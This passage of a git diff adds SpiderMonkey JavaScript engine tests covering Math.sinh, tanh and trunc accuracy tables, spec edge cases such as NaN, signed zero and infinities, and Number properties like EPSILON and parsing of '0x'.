+ [-5.31087758970896, -101.261474609375],
+ [-5.255348419702703, -95.79150390624997],
+ [-5.206986845736275, -91.26885986328122],
+ [-5.162914035396619, -87.33349609375003],
+ [-5.052952927749896, -78.23873901367186],
+ [-5.048772883924985, -77.91235351562501],
+ [-5.034848487644809, -76.83489990234378],
+ [-4.808269821238499, -61.25564575195312],
+ [-4.689849459883311, -54.413803100585945],
+ [-4.476720236388958, -43.96719360351561],
+ [-4.431216695067421, -42.01084899902342],
+ [-4.114720236218123, -30.60937499999999],
+ [-3.9785790831656023, -26.711166381835938],
+ [-3.9220215830953484, -25.24131774902344],
+ [-3.3770026324620295, -14.624359130859379],
+ [-3.214961448471211, -12.431087493896483],
+ [-3.021397455139021, -10.235607147216797],
+ [-2.937831931335705, -9.41094970703125],
+ [-1.267878515574959, -1.6359391212463381],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.305032609228874e-8, 2.3050326092288742e-8],
+ [5.939249092534734e-8, 5.9392490925347374e-8],
+ [1.1667648891489053e-7, 1.166764889148908e-7],
+ [2.379967440901942e-7, 2.3799674409019644e-7],
+ [4.6846594159431437e-7, 4.684659415943315e-7],
+ [9.382699772685088e-7, 9.382699772686465e-7],
+ [0.0000011039855962733358, 0.00000110398559627356],
+ [0.000003291776010877096, 0.0000032917760108830407],
+ [0.000007517213816683722, 0.00000751721381675452],
+ [0.000015114666893502755, 0.000015114666894078255],
+ [0.00002986399339999406, 0.00002986399340443313],
+ [0.000033870281179478836, 0.00003387028118595481],
+ [0.00009066011977069884, 0.00009066011989489198],
+ [0.00021949532498377364, 0.00021949532674625516],
+ [0.00043952149320897676, 0.00043952150736004114],
+ [0.0006333151408864353, 0.0006333151832222939],
+ [0.0011151230445582744, 0.001115123275667429],
+ [0.0019624658370807177, 0.001962467096745968],
+ [0.005553725496786973, 0.005553754046559334],
+ [0.008691018931968294, 0.008691128343343735],
+ [0.02992889492062484, 0.02993336319923401],
+ [0.05122020579778827, 0.05124260485172272],
+ [0.1117800293787828, 0.11201295256614685],
+ [0.23269806521543376, 0.23480379581451416],
+ [0.4721357117742938, 0.4898730516433716],
+ [0.694611571189336, 0.7518312931060792],
+ [1.2781607348262256, 1.6557407379150393],
+ [1.9917262343245115, 3.5958566665649414],
+ [2.009484184971722, 3.6627054214477544],
+ [2.128787712416205, 4.142845153808595],
+ [2.4846967934155475, 5.95706558227539],
+ [3.083125584533294, 10.890350341796875],
+ [4.002981567623351, 27.3714599609375],
+ [4.080736210902826, 29.586067199707028],
+ [4.120845430011113, 30.79753875732421],
+ [4.351258506393416, 38.78157043457031],
+ [4.540883728536112, 46.88148498535155],
+ [4.547981853382592, 47.21551513671875],
+ [4.5480891170767, 47.220581054687514],
+ [4.599728302509061, 49.72361755371096],
+ [4.8131842711857535, 61.557464599609396],
+ [4.910082619934558, 67.82162475585939],
+ [4.924747230639767, 68.82363891601564],
+ [4.993937439635391, 73.75466918945312],
+ [5.087099712053554, 80.95669555664065],
+ [5.1389346970196295, 85.26406860351562],
+ [5.138977285472121, 85.26770019531251],
+ [5.223879832616765, 92.82385253906247],
+ [5.241812789460327, 94.50357055664062],
+ [5.447141014648796, 116.04467773437499],
+ [5.511633288238573, 123.77554321289061],
+ [5.578681289305598, 132.3592529296875],
+ [5.633110296634631, 139.76330566406253],
+ [5.662701238627725, 143.96093750000003],
+ [5.678906941005323, 146.31298828124997],
+ [5.737214893086866, 155.0980224609375],
+ [5.739660763047893, 155.4778442382812],
+ [5.741349685869528, 155.74066162109372],
+ [5.790614371552514, 163.60546874999994],
+ [5.879059869096351, 178.73510742187494],
+ [5.884458728291027, 179.70269775390622],
+ [5.885109945587401, 179.8197631835937],
+ [5.893636014368936, 181.35949707031256],
+ [5.965274032538233, 194.82861328125003],
+ [5.967346683696556, 195.23284912109375],
+ [5.986843466070591, 199.07666015624994],
+ [6.019932686217942, 205.77423095703134],
+ [6.021252909681261, 206.0460815429687],
+ [6.037231102920489, 209.36480712890634],
+ [6.043606439928324, 210.70385742187506],
+ [6.06478541011501, 215.21398925781244],
+ [6.112974120371601, 225.83892822265622],
+ [6.117902255760311, 226.95465087890622],
+ [6.1433256889594094, 232.79864501953136],
+ [6.176483527820343, 240.64721679687503],
+ [6.186757751007361, 243.13244628906241],
+ [6.219667373726848, 251.26702880859372],
+ [6.229418088083555, 253.72906494140634],
+ [6.233184983047428, 254.68664550781241],
+ [6.243005711460192, 257.20019531250006],
+ [6.245102704489327, 257.74011230468744],
+ [6.260468857392134, 261.73120117187506],
+ [6.268152459140511, 263.74999999999994],
+ [6.2748285545831655, 265.5167236328125],
+ [6.305976070434008, 273.9171142578125],
+ [6.32399546069982, 278.8977050781249],
+ [6.324961403980197, 279.16723632812506],
+ [6.370613506132747, 292.20727539062494],
+ [6.375359978930309, 293.59753417968744],
+ [6.3766447200146, 293.9749755859376],
+ [6.380802563199264, 295.19982910156244],
+ [6.387824152942429, 297.27990722656244],
+ [6.390003820200831, 297.9285888671876],
+ [6.3905985680679, 298.10583496093744],
+ [6.397866642974941, 300.2803955078125],
+ [6.421725738171608, 307.5310058593751],
+ [6.423818963102848, 308.17541503906244],
+ [6.428865255911759, 309.7344970703124],
+ [6.443449261058927, 314.28479003906244],
+ [6.444844602076255, 314.7236328125],
+ [6.464094341970107, 320.84069824218756],
+ [6.465356699668166, 321.24597167968744],
+ [6.467400466944125, 321.90319824218756],
+ [6.472218114936839, 323.457763671875],
+ [6.4947499213823265, 330.8286132812501],
+ [6.507305446835735, 335.00854492187483],
+ [6.524202033435675, 340.71716308593756],
+ [6.546694993078936, 348.46777343749994],
+ [6.548591493378012, 349.1292724609374],
+ [6.613194950203132, 372.4288330078126],
+ [6.6247505436339065, 376.7574462890626],
+ [6.629181796246806, 378.43066406249994],
+ [6.6616087711302185, 390.9031982421874],
+ [6.698989091751707, 405.79187011718744],
+ [6.702857353572475, 407.3646240234375],
+ [6.717505881986416, 413.37585449218756],
+ [6.723197804327891, 415.73547363281256],
+ [6.726699007993023, 417.1936035156251],
+ [6.735483889307782, 420.87475585937483],
+ [6.755219602793124, 429.26354980468756],
+ [6.756366380816258, 429.75610351562506],
+ [6.766177290841293, 433.99316406250006],
+ [6.766217511883346, 434.01062011718767],
+ [6.780091308338912, 440.0739746093749],
+ [6.802889310303153, 450.22204589843744],
+ [6.813484439494547, 455.017578125],
+ [6.818196843455478, 457.16687011718744],
+ [6.818940201487998, 457.50683593749994],
+ [6.822833193143805, 459.29138183593756],
+ [6.82327083544577, 459.49243164062506],
+ [6.823817951018, 459.743896484375],
+ [6.834945773756887, 464.8884277343749],
+ [6.835113285253827, 464.96630859375017],
+ [6.840964582694129, 467.6949462890624],
+ [6.84346890521034, 468.86767578125017],
+ [6.847141429556457, 470.5927734375002],
+ [6.869243403190376, 481.10961914062483],
+ [6.882355637062964, 487.4595947265624],
+ [6.884531678915821, 488.5214843750001],
+ [6.89341643293734, 492.8812255859376],
+ [6.895822338701104, 494.06848144531233],
+ [6.900653737167637, 496.46130371093733],
+ [7.2670429692740965, 716.1540527343751],
+ [8.188647968122073, 1799.925781250001],
+ [8.872023251113289, 3564.8457031250014],
+ [9.566596912986167, 7139.869140625004],
+ [10.092554861905608, 12081.222656249996],
+ [10.728112113864427, 22810.24218749999],
+ [11.442480870715618, 46598.96875000003],
+ [12.28759157077177, 108493.37500000009],
+ [12.636950838344218, 153860.81249999988],
+ [13.327813723030063, 307019.4999999998],
+ [14.126778167009777, 682577.25],
+ [15.090269265334971, 1788919.000000001],
+ [15.835512291283944, 3769169],
+ [15.973721689554742, 4327820.000000002],
+ [16.910547205715446, 11044023.999999983],
+ [17.573132558903225, 21423208.000000004],
+ [18.649063156437965, 62828288.00000006],
+ [18.760110887365155, 70207360.00000012],
+ [19.547111966180875, 154231424.00000012],
+ [20.193967491567523, 294509055.9999997],
+ [21.484592263156223, 1070557183.9999999],
+ [22.088297141021556, 1957922816.0000024],
+ [22.780591462699917, 3912507392.0000005],
+ [23.401438520318692, 7279233024.000007],
+ [23.684949498080787, 9665245184.000017],
+ [24.5355829820426, 22627590144.000004],
+ [25.520740767599584, 60601991168.00004],
+ [26.31438890085422, 134018236416.00002],
+ [26.73876398039979, 204864946175.99973],
+ [27.06660583008718, 284346286080.00024],
+ [28.234874284944635, 914576637951.9989],
+ [28.78280496108106, 1581915832319.9973]
+];
+
+for (var [x, y] of sinh_data)
+ assertNear(Math.sinh(x), y);
+
+reportCompare(0, 0, "ok");
+
diff --git a/js/src/tests/non262/Math/sinh-exact.js b/js/src/tests/non262/Math/sinh-exact.js
new file mode 100644
index 0000000000..bfae1f7524
--- /dev/null
+++ b/js/src/tests/non262/Math/sinh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.sinh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.sinh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.sinh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.sinh(-0), -0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.sinh(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.sinh(-Infinity), -Infinity);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/tanh-approx.js b/js/src/tests/non262/Math/tanh-approx.js
new file mode 100644
index 0000000000..252322a099
--- /dev/null
+++ b/js/src/tests/non262/Math/tanh-approx.js
@@ -0,0 +1,282 @@
+var sloppy_tolerance = 2;
+
+for (var i = -20; i < 20; i++) {
+ assertNear(Math.tanh(i),
+ (Math.exp(i) - Math.exp(-i)) / (Math.exp(i) + Math.exp(-i)),
+ sloppy_tolerance);
+}
+
+assertEq(Math.tanh(1e300), 1);
+
+var tanh_data = [
+ [-0.9999983310699463, -6.998237084679027],
+ [-0.9999978542327881, -6.87257975132917],
+ [-0.999992847442627, -6.2705920974657525],
+ [-0.9999861717224121, -5.940967614084813],
+ [-0.9999828338623047, -5.832855225378502],
+ [-0.9999399185180664, -5.20646301208756],
+ [-0.9998834133148193, -4.8749821841810785],
+ [-0.9998509883880615, -4.752279497280338],
+ [-0.9996016025543213, -4.260504202858904],
+ [-0.9993612766265869, -4.0244334353203115],
+ [-0.9989283084869385, -3.7655641082999236],
+ [-0.9969782829284668, -3.246782610980921],
+ [-0.9950058460235596, -2.9950671179940938],
+ [-0.9942638874053955, -2.9256242749609536],
+ [-0.990715742111206, -2.6839646283308363],
+ [-0.9903340339660645, -2.663723350226518],
+ [-0.9760982990264893, -2.207464998348322],
+ [-0.975830078125, -2.201817459680556],
+ [-0.9728245735168457, -2.1424542308291437],
+ [-0.9643559455871582, -2.0046686756020917],
+ [-0.9377224445343018, -1.7188337346177065],
+ [-0.9362406730651855, -1.7066940482565154],
+ [-0.9310147762298584, -1.6659543005533146],
+ [-0.9284839630126953, -1.6472838718760747],
+ [-0.9270248413085938, -1.6368067340881562],
+ [-0.9075665473937988, -1.5135473477311114],
+ [-0.897477388381958, -1.4590986086331497],
+ [-0.8920106887817383, -1.431681573516303],
+ [-0.8776559829711914, -1.365471286049011],
+ [-0.864722728729248, -1.3117705583444539],
+ [-0.8482067584991455, -1.249725893334944],
+ [-0.8056559562683105, -1.1145246028592257],
+ [-0.8048388957977295, -1.112200609756455],
+ [-0.7801985740661621, -1.0458778330822556],
+ [-0.7749934196472168, -1.032711173436253],
+ [-0.7619285583496094, -1.0007967281362184],
+ [-0.7504425048828125, -0.9739672824457072],
+ [-0.7495596408843994, -0.9719492983286864],
+ [-0.7481319904327393, -0.968698942014487],
+ [-0.7459518909454346, -0.9637657636705832],
+ [-0.7401137351989746, -0.9507308314464193],
+ [-0.7289731502532959, -0.9265325319867653],
+ [-0.7226788997650146, -0.9132299082876396],
+ [-0.7161557674407959, -0.8997082193533088],
+ [-0.7017018795013428, -0.8706453720344796],
+ [-0.7013418674468994, -0.86993650130945],
+ [-0.691054105758667, -0.8499705913361888],
+ [-0.6847054958343506, -0.837919455842005],
+ [-0.6838164329528809, -0.8362476144993315],
+ [-0.6747090816497803, -0.8193374156276964],
+ [-0.6575610637664795, -0.7885046044142132],
+ [-0.6522045135498047, -0.7791255597799839],
+ [-0.6261923313140869, -0.7351275788820003],
+ [-0.623173713684082, -0.7301771459970386],
+ [-0.6067488193511963, -0.7037597526130627],
+ [-0.5838055610656738, -0.6682166303197608],
+ [-0.579524040222168, -0.6617457665293066],
+ [-0.5760939121246338, -0.656596458857398],
+ [-0.5654678344726562, -0.6408350116350283],
+ [-0.5578761100769043, -0.6297442839791668],
+ [-0.5523209571838379, -0.6217149641475687],
+ [-0.5396339893341064, -0.6036390747171698],
+ [-0.5128989219665527, -0.5666556256064771],
+ [-0.5087778568267822, -0.5610793900942042],
+ [-0.4977825880050659, -0.546353950571504],
+ [-0.4913865327835083, -0.5378865967606703],
+ [-0.48976075649261475, -0.5357455496477738],
+ [-0.48493504524230957, -0.5294166456244711],
+ [-0.4479050636291504, -0.4820764946679979],
+ [-0.4461095333099365, -0.4798325976916711],
+ [-0.4429593086242676, -0.47590653371561276],
+ [-0.42827916145324707, -0.45778739362936793],
+ [-0.40590059757232666, -0.4306933608076879],
+ [-0.40029656887054443, -0.4240020382545707],
+ [-0.3961341381072998, -0.4190551379319939],
+ [-0.3836275339126587, -0.40430627175908734],
+ [-0.36686253547668457, -0.3847928551425507],
+ [-0.3657644987106323, -0.38352464227459343],
+ [-0.33507001399993896, -0.3485286317501442],
+ [-0.32572221755981445, -0.3380352468276522],
+ [-0.3191967010498047, -0.3307524237890151],
+ [-0.3000025749206543, -0.3095224337886503],
+ [-0.29665136337280273, -0.3058438250228025],
+ [-0.2944457530975342, -0.3034271164344305],
+ [-0.2872810363769531, -0.29560018347246825],
+ [-0.27738428115844727, -0.28484608203169437],
+ [-0.2390844225883484, -0.2438028008332661],
+ [-0.23685944080352783, -0.24144425169391517],
+ [-0.2253856658935547, -0.2293228153248168],
+ [-0.22283810377120972, -0.22664053064745143],
+ [-0.21552443504333496, -0.21895773601143995],
+ [-0.2153375744819641, -0.21876178107952995],
+ [-0.21016258001327515, -0.21334143320771737],
+ [-0.20250272750854492, -0.2053409277979887],
+ [-0.19156384468078613, -0.19396008474133075],
+ [-0.18251943588256836, -0.18458771439322938],
+ [-0.17464947700500488, -0.17645844608618066],
+ [-0.15646183490753174, -0.15775766677189154],
+ [-0.15580910444259644, -0.15708862621964176],
+ [-0.15365445613861084, -0.15488112515549593],
+ [-0.122499018907547, -0.12311733609904851],
+ [-0.1088167130947113, -0.10924929296737837],
+ [-0.08792558312416077, -0.08815322150790302],
+ [-0.08401328325271606, -0.08421178632314608],
+ [-0.06121261417865753, -0.06128924075509796],
+ [-0.05341699719429016, -0.05346789060550386],
+ [-0.05047759413719177, -0.05052053189238029],
+ [-0.02924579381942749, -0.029254136237332657],
+ [-0.02485968917608261, -0.02486481220617492],
+ [-0.020469173789024353, -0.02047203328100153],
+ [-0.01882001757621765, -0.018822240021756347],
+ [-0.016152501106262207, -0.016153906073109205],
+ [-0.0032715508714318275, -0.003271562543358962],
+ [1.6504814008555524e-12, 1.6504814008555524e-12],
+ [2.0654207510961697e-12, 2.0654207510961697e-12],
+ [6.933230031758164e-12, 6.933230031758164e-12],
+ [1.3351444949627478e-11, 1.3351444949627478e-11],
+ [1.6399812063916386e-11, 1.6399812063916386e-11],
+ [5.730159402528301e-11, 5.730159402528301e-11],
+ [1.113731329382972e-10, 1.113731329382972e-10],
+ [1.4214707189097453e-10, 1.4214707189097453e-10],
+ [3.8006320313144215e-10, 3.8006320313144215e-10],
+ [6.09162720266454e-10, 6.09162720266454e-10],
+ [1.0221641311147778e-9, 1.0221641311147778e-9],
+ [2.8819222563924995e-9, 2.8819222563924995e-9],
+ [4.7627768395841485e-9, 4.7627768395841485e-9],
+ [8.854133426439148e-9, 8.854133426439148e-9],
+ [2.3050326092288742e-8, 2.3050326092288745e-8],
+ [5.9392490925347374e-8, 5.939249092534745e-8],
+ [1.166764889148908e-7, 1.1667648891489133e-7],
+ [2.3799674409019644e-7, 2.3799674409020094e-7],
+ [4.684659415943315e-7, 4.684659415943658e-7],
+ [9.382699772686465e-7, 9.382699772689218e-7],
+ [0.00000110398559627356, 0.0000011039855962740086],
+ [0.0000032917760108830407, 0.0000032917760108949305],
+ [0.00000751721381675452, 0.000007517213816896115],
+ [0.000015114666894078255, 0.000015114666895229252],
+ [0.00002986399340443313, 0.00002986399341331128],
+ [0.00003387028118595481, 0.000033870281198906756],
+ [0.00009066011989489198, 0.00009066012014327826],
+ [0.00021949532674625516, 0.0002194953302712184],
+ [0.00043952150736004114, 0.0004395215356621756],
+ [0.0006333151832222939, 0.0006333152678940465],
+ [0.001115123275667429, 0.0011151237378863419],
+ [0.001962467096745968, 0.001962469616086656],
+ [0.005553754046559334, 0.005553811147953338],
+ [0.007324676960706711, 0.0073248079567425],
+ [0.008691128343343735, 0.008691347183450786],
+ [0.011912941932678223, 0.011913505535037906],
+ [0.02993336319923401, 0.029942308168570204],
+ [0.05124260485172272, 0.05128752666822782],
+ [0.05473744869232178, 0.05479221508125444],
+ [0.06158891320228577, 0.061666963819518306],
+ [0.09375360608100891, 0.09402975380882211],
+ [0.09442159533500671, 0.09470370926367391],
+ [0.09443172812461853, 0.09471393321406026],
+ [0.09943729639053345, 0.09976699249016487],
+ [0.11201295256614685, 0.11248498303558895],
+ [0.12310260534286499, 0.12373016402339168],
+ [0.13562965393066406, 0.13647060950861248],
+ [0.13763350248336792, 0.13851257866094746],
+ [0.14749455451965332, 0.14857829980464834],
+ [0.1618971824645996, 0.16333433166790448],
+ [0.17051106691360474, 0.17219298693637355],
+ [0.17051833868026733, 0.17220047646299907],
+ [0.18562912940979004, 0.18780647318150087],
+ [0.18898820877075195, 0.1912876932893582],
+ [0.23206615447998047, 0.23637212433914523],
+ [0.23480379581451416, 0.2392675448267427],
+ [0.2646920680999756, 0.27114729033023005],
+ [0.2794986963272095, 0.2871382059344433],
+ [0.28789305686950684, 0.2962673858386819],
+ [0.292596697807312, 0.30140373665239234],
+ [0.3101649284362793, 0.320727882769785],
+ [0.3109246492385864, 0.3215686893944558],
+ [0.31145012378692627, 0.3221505056451929],
+ [0.3271782398223877, 0.3396649461699478],
+ [0.3574345111846924, 0.37394153436545424],
+ [0.3593693971633911, 0.37616159223090223],
+ [0.35960352420806885, 0.37643046596933716],
+ [0.3626827001571655, 0.3799714809649667],
+ [0.38961827754974365, 0.4113499159905353],
+ [0.3904266357421875, 0.41230330080214],
+ [0.3981136083602905, 0.4214052375603139],
+ [0.411507248878479, 0.43742438709579096],
+ [0.4120509624481201, 0.43807911823743495],
+ [0.41868770122528076, 0.4460997186945703],
+ [0.42136549949645996, 0.4493511447897729],
+ [0.4516327381134033, 0.48674948990473677],
+ [0.4538639783859253, 0.4895560176112375],
+ [0.4655507802963257, 0.5043748446613433],
+ [0.48124635219573975, 0.5246050193978663],
+ [0.48621630668640137, 0.5310932154891663],
+ [0.4898730516433716, 0.5358932909903701],
+ [0.5024838447570801, 0.5526234425942533],
+ [0.5074074268341064, 0.5592320547729962],
+ [0.5093221664428711, 0.5618140818296767],
+ [0.5143489837646484, 0.5686253097655146],
+ [0.5154285430908203, 0.5700943191671631],
+ [0.5234100818634033, 0.5810250825991418],
+ [0.5274472236633301, 0.5866018515043636],
+ [0.5309803485870361, 0.5915094458340507],
+ [0.5477793216705322, 0.6152030999229688],
+ [0.5577394962310791, 0.6295459624918965],
+ [0.5582785606384277, 0.6303287742357745],
+ [0.5843560695648193, 0.6690521906099505],
+ [0.5871362686157227, 0.6732844960442398],
+ [0.5878911018371582, 0.6744372167164567],
+ [0.5903406143188477, 0.6781887236623534],
+ [0.5945003032684326, 0.684597775489552],
+ [0.5957975387573242, 0.6866065102131665],
+ [0.5961520671844482, 0.6871563252400655],
+ [0.6005008220672607, 0.6939300827887145],
+ [0.6150004863739014, 0.7169242329194352],
+ [0.6162893772125244, 0.7189998055497108],
+ [0.6194069385528564, 0.7240422748778544],
+ [0.6285066604614258, 0.7389438896054792],
+ [0.6293842792510986, 0.7403958734869583],
+ [0.6416172981262207, 0.7609178886018204],
+ [0.6424276828765869, 0.7622965466812235],
+ [0.6437420845031738, 0.7645378650643101],
+ [0.6468508243560791, 0.769864795178161],
+ [0.6615910530090332, 0.7956379107512945],
+ [0.669950008392334, 0.8106524185805045],
+ [0.6813662052154541, 0.8316597473423232],
+ [0.6968657970428467, 0.8611812790659296],
+ [0.6981887817382812, 0.8637579113749143],
+ [0.7447831630706787, 0.9611360201710216],
+ [0.7518312931060791, 0.9771540941752986],
+ [0.7534394264221191, 0.9808634133542229],
+ [0.7567856311798096, 0.9886489208209699],
+ [0.7817282676696777, 1.0497991719828956],
+ [0.8115026950836182, 1.1314141444187586],
+ [0.814647912979126, 1.1406947755584418],
+ [0.8266689777374268, 1.1775230833699681],
+ [0.8313877582550049, 1.1926138225701433],
+ [0.8343038558959961, 1.2021323323039612],
+ [0.8416652679443359, 1.2268570644335162],
+ [0.8584413528442383, 1.2873896671573652],
+ [0.8678996562957764, 1.3245040433929398],
+ [0.8679344654083252, 1.3246451309261607],
+ [0.8800599575042725, 1.3760334877782177],
+ [0.9003539085388184, 1.4740852961194106],
+ [0.9099440574645996, 1.5271990851861994],
+ [0.9142425060272217, 1.5527768948273004],
+ [0.9149219989776611, 1.556931837197936],
+ [0.9184908866882324, 1.5792896628381612],
+ [0.9188928604125977, 1.5818663359427627],
+ [0.919395923614502, 1.5851082843320008],
+ [0.9296839237213135, 1.6560555223295368],
+ [0.9298396110534668, 1.6572041418041492],
+ [0.9352962970733643, 1.6990986433619266],
+ [0.9376416206359863, 1.718164398807965],
+ [0.9410912990570068, 1.7475084077246632],
+ [0.962122917175293, 1.9737180163455101],
+ [0.9748215675354004, 2.1811227771083783],
+ [0.9769454002380371, 2.2257214499698255],
+ [0.985663890838623, 2.4654635601650536],
+ [0.9880380630493164, 2.5565869228142004],
+ [0.9928233623504639, 2.8132383539094192],
+ [1e-300, 1e-300],
+ [0.00001, 0.000010000000000333334],
+ [0.3, 0.3095196042031117],
+ [1e-30, 1e-30],
+ [1e-10, 1e-10],
+];
+
+for (var [x, y] of tanh_data)
+ assertNear(Math.tanh(y), x, sloppy_tolerance);
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/tanh-exact.js b/js/src/tests/non262/Math/tanh-exact.js
new file mode 100644
index 0000000000..bfd9ac4def
--- /dev/null
+++ b/js/src/tests/non262/Math/tanh-exact.js
@@ -0,0 +1,19 @@
+// Properties of Math.tanh that are guaranteed by the spec.
+
+// If x is NaN, the result is NaN.
+assertEq(Math.tanh(NaN), NaN);
+
+// If x is +0, the result is +0.
+assertEq(Math.tanh(+0), +0);
+
+// If x is −0, the result is −0.
+assertEq(Math.tanh(-0), -0);
+
+// If x is +∞, the result is +1.
+assertEq(Math.tanh(Number.POSITIVE_INFINITY), +1);
+
+// If x is −∞, the result is -1.
+assertEq(Math.tanh(Number.NEGATIVE_INFINITY), -1);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Math/trunc.js b/js/src/tests/non262/Math/trunc.js
new file mode 100644
index 0000000000..4cadfd9224
--- /dev/null
+++ b/js/src/tests/non262/Math/trunc.js
@@ -0,0 +1,50 @@
+// If x is NaN, the result is NaN.
+assertEq(Math.trunc(NaN), NaN);
+
+// If x is −0, the result is −0.
+assertEq(Math.trunc(-0), -0);
+
+// If x is +0, the result is +0.
+assertEq(Math.trunc(+0), +0);
+
+// If x is +∞, the result is +∞.
+assertEq(Math.trunc(Infinity), Infinity);
+
+// If x is −∞, the result is −∞.
+assertEq(Math.trunc(-Infinity), -Infinity);
+
+// Other boundary cases.
+var MAX_NONINTEGER_VALUE = 4503599627370495.5;
+var TRUNC_MAX_NONINTEGER_VALUE = 4503599627370495;
+
+assertEq(Math.trunc(Number.MIN_VALUE), +0);
+assertEq(Math.trunc(ONE_MINUS_EPSILON), +0);
+assertEq(Math.trunc(ONE_PLUS_EPSILON), 1);
+assertEq(Math.trunc(MAX_NONINTEGER_VALUE), TRUNC_MAX_NONINTEGER_VALUE);
+assertEq(Math.trunc(Number.MAX_VALUE), Number.MAX_VALUE);
+
+assertEq(Math.trunc(-Number.MIN_VALUE), -0);
+assertEq(Math.trunc(-ONE_MINUS_EPSILON), -0);
+assertEq(Math.trunc(-ONE_PLUS_EPSILON), -1);
+assertEq(Math.trunc(-MAX_NONINTEGER_VALUE), -TRUNC_MAX_NONINTEGER_VALUE);
+assertEq(Math.trunc(-Number.MAX_VALUE), -Number.MAX_VALUE);
+
+// Other cases.
+for (var i = 1, f = 1.1; i < 20; i++, f += 1.0)
+ assertEq(Math.trunc(f), i);
+
+for (var i = -1, f = -1.1; i > -20; i--, f -= 1.0)
+ assertEq(Math.trunc(f), i);
+
+assertEq(Math.trunc(1e40 + 0.5), 1e40);
+
+assertEq(Math.trunc(1e300), 1e300);
+assertEq(Math.trunc(-1e300), -1e300);
+assertEq(Math.trunc(1e-300), 0);
+assertEq(Math.trunc(-1e-300), -0);
+
+assertEq(Math.trunc(+0.9999), +0);
+assertEq(Math.trunc(-0.9999), -0);
+
+
+reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/Number/0x-without-following-hexdigits.js b/js/src/tests/non262/Number/0x-without-following-hexdigits.js
new file mode 100644
index 0000000000..ffb329e5c8
--- /dev/null
+++ b/js/src/tests/non262/Number/0x-without-following-hexdigits.js
@@ -0,0 +1,30 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 582643;
+var summary = "'0x' not followed by hex digits should be a syntax error";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+try
+{
+ eval("0x");
+ throw new Error("didn't throw parsing 0x (with no subsequent hex digits)");
+}
+catch (e)
+{
+ assertEq(e instanceof SyntaxError, true,
+ "bad exception thrown: " + e);
+}
+
+/******************************************************************************/
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
+
+print("All tests passed!");
diff --git a/js/src/tests/non262/Number/15.7.3.7-EPSILON.js b/js/src/tests/non262/Number/15.7.3.7-EPSILON.js
new file mode 100644
index 0000000000..55e92ef1c0
--- /dev/null
+++ b/js/src/tests/non262/Number/15.7.3.7-EPSILON.js
@@ -0,0 +1,24 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 885798;
+var summary = "ES6 (draft May 2013) 15.7.3.7 Number.EPSILON";
+
+print(BUGNUMBER + ": " + summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+// Test value
+assertEq(Number.EPSILON, Math.pow(2, -52));
+
+// Test property attributes
+var descriptor = Object.getOwnPropertyDescriptor(Number, 'EPSILON');
+assertEq(descriptor.writable, false);
+assertEq(descriptor.configurable, false);
+assertEq(descriptor.enumerable, false);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/15.7.4.2.js b/js/src/tests/non262/Number/15.7.4.2.js
new file mode 100644
index 0000000000..36443394cb
--- /dev/null
+++ b/js/src/tests/non262/Number/15.7.4.2.js
@@ -0,0 +1,31 @@
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ */
+
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(true)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call("")'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call({})'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(null)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call([])'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(undefined)'), true);
+assertEq(raisesException(TypeError)('Number.prototype.toString.call(new Boolean(true))'), true);
+
+assertEq(completesNormally('Number.prototype.toString.call(42)'), true);
+assertEq(completesNormally('Number.prototype.toString.call(new Number(42))'), true);
+
+function testAround(middle)
+{
+ var range = 260;
+ var low = middle - range/2;
+ for (var i = 0; i < range; ++i)
+ assertEq(low + i, parseInt(String(low + i)));
+}
+
+testAround(-Math.pow(2,32));
+testAround(-Math.pow(2,16));
+testAround(0);
+testAround(+Math.pow(2,16));
+testAround(+Math.pow(2,32));
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js b/js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js
new file mode 100644
index 0000000000..8b96651ff2
--- /dev/null
+++ b/js/src/tests/non262/Number/20.1.2.10-MIN_SAFE_INTEGER.js
@@ -0,0 +1,26 @@
+// Any copyright is dedicated to the Public Domain.
+// http://creativecommons.org/licenses/publicdomain/
+
+//-----------------------------------------------------------------------------
+
+var BUGNUMBER = 885798;
